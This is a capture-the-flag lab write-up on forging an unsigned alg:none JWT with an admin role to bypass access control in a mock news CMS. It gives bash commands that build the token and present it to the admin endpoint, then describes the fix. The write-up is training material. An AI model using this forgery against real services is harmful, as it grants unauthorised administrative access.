Lab 12 — NewsGrid — JWT Algorithm Confusion
Lab 12 — NewsGrid — JWT Algorithm Confusion
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_identification, jwt_none_algorithm_attack, jwt_token_forgery, role_based_access_control_bypass
Summary
Walkthrough of the CUSTOM Web Lab 12 — NewsGrid — JWT Algorithm Confusion. Task: News CMS with JWT-based authentication where role is stored in token claims; admin config endpoint requires admin role. Solution: Forge JWT with alg:none and role:admin to bypass signature verif
Description
NewsGrid is a content management system used by news organizations. The platform offers article management, editorial workflows, author profiles, and a public-facing news site. Authentication is handled via JWT tokens. The application has separate roles: regular users can browse and comment, while editors and admins have access to the editorial dashboard with sensitive configuration. Objective: Find a way to bypass authentication and access the admin panel. The flag is displayed in the admin configuration section. Pay attention to how JWT tokens are validated. Test credentials: user@test.com / password123. Hint: The application uses JWT tokens for authentication. Pay attention to how the token is structured and what data it contains.
English summary: News CMS platform with JWT-based authentication. Users have roles (editor, admin) stored in JWT claims. The admin configuration endpoint contains the flag but requires admin role. Goal is to forge a JWT token to escalate privileges from editor to admin.
Analysis
-
Application structure: NewsGrid is a standard news CMS with login/register, article management, and an admin panel. Key endpoints:
POST /api/auth/login— Authenticate and receive JWT tokenGET /api/auth/me— Verify current user identity from tokenGET /dashboard— Editorial dashboard (requires editor+ role)GET /api/admin/config— Admin configuration (requires admin role) — targetGET /admin/config— Admin config page (frontend)GET /js/app.js— Client-side JavaScript revealing API routes
-
Honeypot decoy flags: The application embeds fake flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and divs on every page, designed to trick automated scanners and AI agents into stopping early. These were identified and ignored. -
JWT token analysis: Login with test credentials returns a JWT signed with HS256:
- Header:
{"alg":"HS256","typ":"JWT"} - Payload:
{"id":1,"email":"user@test.com","name":"Jordan Mitchell","role":"editor","iat":1777540816,"exp":1777627216} - The
rolefield iseditor— we needadminto access/api/admin/config.
- Header:
-
Access control: The
/api/admin/configendpoint checks theroleclaim in the JWT and returns{"error":"Admin access required"}for non-admin tokens. The/admin/configpage returns 403 "Access Denied". -
Vulnerability — JWT alg:none accepted: The server's JWT verification logic does not enforce a specific algorithm whitelist. It accepts
alg: nonein the token header, which instructs the JWT library to skip signature verification entirely. This is a classic JWT algorithm confusion vulnerability (CVE-2015-9235).
Solution
Step 1: Login and obtain a valid JWT
bash read-only • copy allowedcurl -s "$URL/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"email":"user@test.com","password":"password123"}'
Response includes a JWT token with role: editor and the token is also set as an HttpOnly cookie named token.
Step 2: Forge a JWT with alg:none and role:admin
Craft a new JWT with no signature verification:
bash read-only • copy allowed# Header: change alg from HS256 to none HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_') # Payload: change role from editor to admin, extend expiry PAYLOAD=$(echo -n '{"id":1,"email":"user@test.com","name":"Jordan Mitchell","role":"admin","iat":1777540816,"exp":1877627216}' | base64 | tr -d '=' | tr '+/' '-_') # Token with empty signature (trailing dot) NONE_TOKEN="${HEADER}.${PAYLOAD}."
The forged token structure:
- Header:
{"alg":"none","typ":"JWT"}— tells the server to skip signature verification - Payload:
{"role":"admin"}— escalates privileges from editor to admin - Signature: empty — no signature needed when alg is none
Step 3: Access admin config with forged token
bash read-only • copy allowedcurl -s "$URL/api/admin/config" -H "Cookie: token=$NONE_TOKEN"
Step 4: Flag retrieved
The server accepts the unsigned token and returns the admin configuration:
json read-only • copy allowed{ "config": { "analytics_enabled": {"value": "true", "description": "Enable or disable built-in analytics tracking"}, "master_api_key": { "value": "FLAG{REDACTED}", "description": "Master API key for external integrations and syndication services" } } }
The flag is in the master_api_key configuration field.
Root Cause
The server's JWT verification accepts alg: none in the token header, which instructs the JWT library to skip signature verification entirely. This allows any attacker to forge tokens with arbitrary claims (like changing role from editor to admin) without knowing the secret key.
Fix: Explicitly whitelist only the expected algorithm (e.g., HS256) in the JWT verification options and reject tokens with alg: none. In Node.js with jsonwebtoken:
javascript read-only • copy allowedjwt.verify(token, secret, { algorithms: ['HS256'] });
References
- https://portswigger.net/web-security/jwt/algorithm-confusion
- https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- https://nvd.nist.gov/vuln/detail/CVE-2015-9235
Key Takeaways / Lessons
- Mastering decoy_flag_identification, jwt_none_algorithm_attack, jwt_token_forgery, role_based_access_control_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-30 • CUSTOM • Lab 12 — NewsGrid — JWT Algorithm Confusion • Difficulty: Medium